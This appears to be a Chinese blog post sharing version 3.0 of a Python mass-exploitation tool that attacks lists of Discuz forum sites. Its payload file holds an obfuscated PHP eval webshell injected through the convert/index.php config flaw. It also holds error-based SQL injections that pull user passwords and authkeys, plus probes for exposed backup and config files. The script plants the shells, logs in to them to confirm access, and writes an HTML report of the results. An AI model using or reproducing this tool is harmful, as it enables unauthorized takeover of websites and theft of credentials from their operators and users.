前一篇中,没有生成html报告,同时不能ctr+c终止
python 一键获取shell v3.0,完善其功能
增加几个功能
1) 输出报表
2)可以ctr+c终止
3)自定义过滤条件,以逗号隔开
4)可以自定义多个关键字,以逗号隔开
先看效果:
具体代码如下:
get_shell.py
#coding=utf-8
import requests
import Queue
import threading
import re
import ConfigParser
import sys
from output import *
queue=Queue.Queue()
writeQueue=Queue.Queue()
INFORMATION=dict()
#===================================================#
#exp_info
#exp_info(0) 提交的方式
#exp_info(1) 测试路径
#exp_info(3) POST 提交的数据 GET 为空
#exp_info(4) 关键字
#exp_info(5) shell的路径
#exp_info(5) shell的密码
#====================================================#
def init(filename):
try:
f=open(filename)
for line in f.readlines():
exp_info = line.strip().split('|')
queue.put(exp_info)
f.close()
except:
return False
def openUrl(url,GET_POST,pdata):
try:
if GET_POST=="POST":
#分解post数据
s = ",".join(pdata.split("&"))
pdata = dict((l.split('=') for l in s.split(',')))
r = requests.post(url, timeout=20, allow_redirects=False, data=pdata)
else :
r = requests.get(url, timeout=20, allow_redirects=False)
content=r.content
r.close()
if r.status_code in [200,500]:
return (r.status_code ,r.encoding,content)
return (0,0,False)
except:
return (0,0,False)
def checkKeyword(page,page_encoding,keyword):
try:
page = unicode(page, page_encoding)
except:
return False
pattern =re.compile(keyword)
if pattern.findall(page)!=[]:
return True
else:
return False
def checkKeywords(page,page_encoding,keywords):
keywords_list=keywords.split(",")
for keyword in keywords_list:
if checkKeyword(page,page_encoding,keyword):
return True
else:
pass
return False
def checkConnectionSuccess(shell_url,pdata):
status_code, encoding, content = openUrl(shell_url, "POST", pdata)
#print status_code,content
if content == "test":
return " the connection is successful "
else:
return "the connection is fail"
def checkGetShellSuccess(shell_url,shell_pwd):
script_type=shell_url.split(".")[-1]
#print script_type
if script_type=='php':
pdata=shell_pwd+'=echo "test";'
return checkConnectionSuccess(shell_url,pdata)
elif script_type=='asp':
pdata=shell_pwd+'=execute("response.clear:response.write(""test""):response.end")'
return checkConnectionSuccess(shell_url,pdata)
else:
pdata=shell_pwd+'=Response.Clear();Response.Write("test");'
return checkConnectionSuccess(shell_url,pdata)
def output(url,content,status_code,page_encoding,test_url,re_keyword,shell_url,shell_pwd):
if content is not False:
if not content.strip():
print '[-]status[%s]---%s |no foud data' % (status_code, test_url)
save_info=[test_url,status_code,"","","no foud data"]
else:
#自定义过滤条件
filter_keywords='拦截,404,deny the request'
if checkKeywords(content, page_encoding, filter_keywords) is True:
return False
if not re_keyword.strip():
if shell_url ==url:
print '[+]status[%s]---shell url: %s ' % (status_code, test_url)
save_info = [test_url, status_code, "", "", "possible!"]
else:
print '[+]status[%s]---shell url: %s | password: %s' % (status_code, shell_url, shell_pwd)
# 检测是不是可以连接一句话
remark=checkGetShellSuccess(shell_url, shell_pwd)
save_info = [test_url, status_code, shell_url, shell_pwd, remark ]
else:
if checkKeyword(content, page_encoding, re_keyword) is True:
if shell_url ==url:
print '[+]status[%s]---shell url: %s ' % (status_code, test_url)
save_info = [test_url, status_code, "", "", "possible!" ]
else:
print '[+]status[%s]---shell url: %s | password: %s' % (status_code, shell_url, shell_pwd)
# 检测是不是可以连接一句话
remark = checkGetShellSuccess(shell_url, shell_pwd)
save_info = [test_url, status_code, shell_url, shell_pwd, remark ]
else:
print '[-]status[%s]---%s is possible' % (status_code, test_url)
save_info = [test_url, status_code, "", "", "possible!" ]
writeQueue.put(save_info)
def write2HTML():
while not writeQueue.empty():
write_info = writeQueue.get(True)
INFORMATION[write_info[0]] = createData(write_info[0],write_info[1],write_info[2],write_info[3],write_info[4])
write_report(INFORMATION)
def scan(url):
while not queue.empty():
exp_info=queue.get(True)
GET_POST=exp_info[0]
test_url=url+exp_info[1]
pdata=exp_info[2]
re_keyword=exp_info[3]
shell_url=url+exp_info[4]
shell_pwd=exp_info[5]
#print "scanning "+url
status_code,page_encoding,content=openUrl(test_url,GET_POST,pdata)
output(url,content, status_code, page_encoding, test_url, re_keyword, shell_url, shell_pwd)
queue.task_done()
def configRead():
config = ConfigParser.ConfigParser()
config.readfp(open('config.ini'))
test_url_file_path = config.get("file_path", "test_url_file_path")
exp_file_path = config.get("file_path", "exp_file_path")
return test_url_file_path,exp_file_path
if __name__=="__main__":
test_url_file_path, exp_file_path = configRead()
threadNum = 50
try:
f=open(test_url_file_path)
for url in f.readlines():
if(init(exp_file_path) is False):
print "exp file not found"
break
url="http://"+url.strip()
print "scanning "+url
for i in range(threadNum):
t = threading.Thread(target=scan,args={url,})
t.setDaemon(True)
t.start()
queue.join()
print
f.close()
except:
print "test web url file not found"
write2HTML()
raw_input('press enter key to exit') #这儿放一个等待输入是为了不让程序退出
output.py
# !/usr/bin/env python
# encoding: utf-8
report="1.html"
INFORMATION = dict()
TEMPLATE = """<html>
<title>POOR MAN, POOR LIFE</title>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
headline
{
font-size: 24px;
font-family: Monaco;
}
body
{
font-size: 10px;
font-family: Monaco;
line-height:200%%;
}
it
{
font-size: 14px;
font-family: Monaco;
line-height:300%%;
}
hd
{
font-size: 10px;
font-family: Monaco;
line-height:200%%;
}
lk
{
font-size: 10px;
font-family: Monaco;
line-height:200%%;
}
a:link { text-decoration: none;color: blue}
a:active { text-decoration:blink}
a:hover { text-decoration:underline;color: red}
a:visited { text-decoration: none;color: green}
</style>
</head>
<headline>
<center>
Scan Report
</center>
</headline>
<br>
<body>
%s
</body>
</html>"""
def write_report(information):
SPACE = " "
LINK = '<a href="{0}" target="_blank">{0}</a>'
content = "======================================================="+"</br>"
for cmsflag, info in information.items():
url_info = info.get("url_info")
content += "<lk>"
content += SPACE * 2
content += "查询网址: "+LINK.format(info['test_url'])
content += "</br>"
content += "</lk>"
for k, v in url_info.items():#iteritems():
content += "<hd>"
content += SPACE * 2
content += "{0}: {1}".format(k, v)
content += "</br>"
content += "</hd>"
content += "======================================================="+"</br>"
print content
with open(report, "w") as fp:
fp.write(TEMPLATE % content)
fp.close()
def createData(url,status_code,shell_url,shell_pwd,remarks):
info = dict()
info['test_url'] = url
info['url_info'] = dict()
info['url_info']["状态码"] = status_code
info['url_info']["shell_url"] = shell_url
info['url_info']["shell_pwd"] = shell_pwd
info['url_info']["remarks"] = remarks
return info
##无限循环
if __name__ == '__main__':
pass
config.ini
[file_path]
;网站测试文件路径
test_url_file_path=2.txt
;exp文件路径
exp_file_path=exp.dic
exp.dic
POST|/utility/convert/index.php?a=config&source=d7.2_x2.0|a=config&source=d7.2_x2.0&submit=yes&newconfig%5btarget%5d%5bdbhost%5d=localhost&newconfig%5baaa%0d%0a%0d%0aeval(Chr(101%29.Chr%28118%29.Chr%2897%29.Chr%28108%29.Chr%2840%29.Chr%2834%29.Chr%2836%29.Chr%2895%29.Chr%2880%29.Chr%2879%29.Chr%2883%29.Chr%2884%29.Chr%2891%29.Chr%28116%29.Chr%28111%29.Chr%28109%29.Chr%2893%29.Chr%2859%29.Chr%2834%29.Chr%2841%29.Chr%2859%29%29%3b%2f%2f%5d=localhost&newconfig%5bsource%5d%5bdbuser%5d=root&newconfig%5bsource%5d%5bdbpw%5d=&newconfig%5bsource%5d%5bdbname%5d=discuz&newconfig%5bsource%5d%5btablepre%5d=cdb_&newconfig%5bsource%5d%5bdbcharset%5d=&newconfig%5bsource%5d%5bpconnect%5d=1&newconfig%5btarget%5d%5bdbhost%5d=localhost&newconfig%5btarget%5d%5bdbuser%5d=root&newconfig%5btarget%5d%5bdbpw%5d=&newconfig%5btarget%5d%5bdbname%5d=discuzx&newconfig%5btarget%5d%5btablepre%5d=pre_&newconfig%5btarget%5d%5bdbcharset%5d=&newconfig%5btarget%5d%5bpconnect%5d=1&submit=%b1%a3%b4%e6%b7%fe%ce%f1%c6%f7%c9%e8%d6%c3|设置服务器信息|/utility/convert/data/config.inc.php|tom
POST|/convert/index.php?a=config&source=d7.2_x2.0|a=config&source=d7.2_x2.0&submit=yes&newconfig%5btarget%5d%5bdbhost%5d=localhost&newconfig%5baaa%0d%0a%0d%0aeval(Chr(101%29.Chr%28118%29.Chr%2897%29.Chr%28108%29.Chr%2840%29.Chr%2834%29.Chr%2836%29.Chr%2895%29.Chr%2880%29.Chr%2879%29.Chr%2883%29.Chr%2884%29.Chr%2891%29.Chr%28116%29.Chr%28111%29.Chr%28109%29.Chr%2893%29.Chr%2859%29.Chr%2834%29.Chr%2841%29.Chr%2859%29%29%3b%2f%2f%5d=localhost&newconfig%5bsource%5d%5bdbuser%5d=root&newconfig%5bsource%5d%5bdbpw%5d=&newconfig%5bsource%5d%5bdbname%5d=discuz&newconfig%5bsource%5d%5btablepre%5d=cdb_&newconfig%5bsource%5d%5bdbcharset%5d=&newconfig%5bsource%5d%5bpconnect%5d=1&newconfig%5btarget%5d%5bdbhost%5d=localhost&newconfig%5btarget%5d%5bdbuser%5d=root&newconfig%5btarget%5d%5bdbpw%5d=&newconfig%5btarget%5d%5bdbname%5d=discuzx&newconfig%5btarget%5d%5btablepre%5d=pre_&newconfig%5btarget%5d%5bdbcharset%5d=&newconfig%5btarget%5d%5bpconnect%5d=1&submit=%b1%a3%b4%e6%b7%fe%ce%f1%c6%f7%c9%e8%d6%c3|设置服务器信息|/convert/data/config.inc.php|tom
GET|/config/config_global.php.bak||||
GET|/config/config_global.php.bak||||
GET|/uc_server/data/config.inc.php.bak||||
GET|/config/config_global.php.zip||||
GET|/config/config_global.php.rar||||
GET|/config/config_global.tar.gz||||
GET|/uc_server/data/config.inc.php.zip||||
GET|/config/config_ucenter.php.bak||||
GET|/wwwroot.zip||||
GET|/wwwroot.rar||||
GET|/www.rar||||
GET|/www.zip||||
GET|/web.rar||||
GET|/web.zip||||
GET|/webbak.zip||||
GET|/admincp.php||||
GET|/convert/index.php?a=config&source=d7.2_x2.0||||
GET|/data/mysql_error_trace.inc||||
GET|/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23||||
GET|/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version(),floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23||||
GET|/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28database(),floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23||||
GET|/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28@@datadir,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23||||
GET|/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28@@tmpdir,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23||||
GET|/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,60) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23||||
GET|/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23||||
大家自己要新建一个文件存放测试的网站,然后修改config.ini中的文件名,exp_Input.py在我前一篇文章中已经公布,这里就不粘贴啦
这版本还有一个问题就是页面编码采用’ISO-8859-1’,会出现关键字匹配不上的问题,大家要是有啥好办法,记得给我留言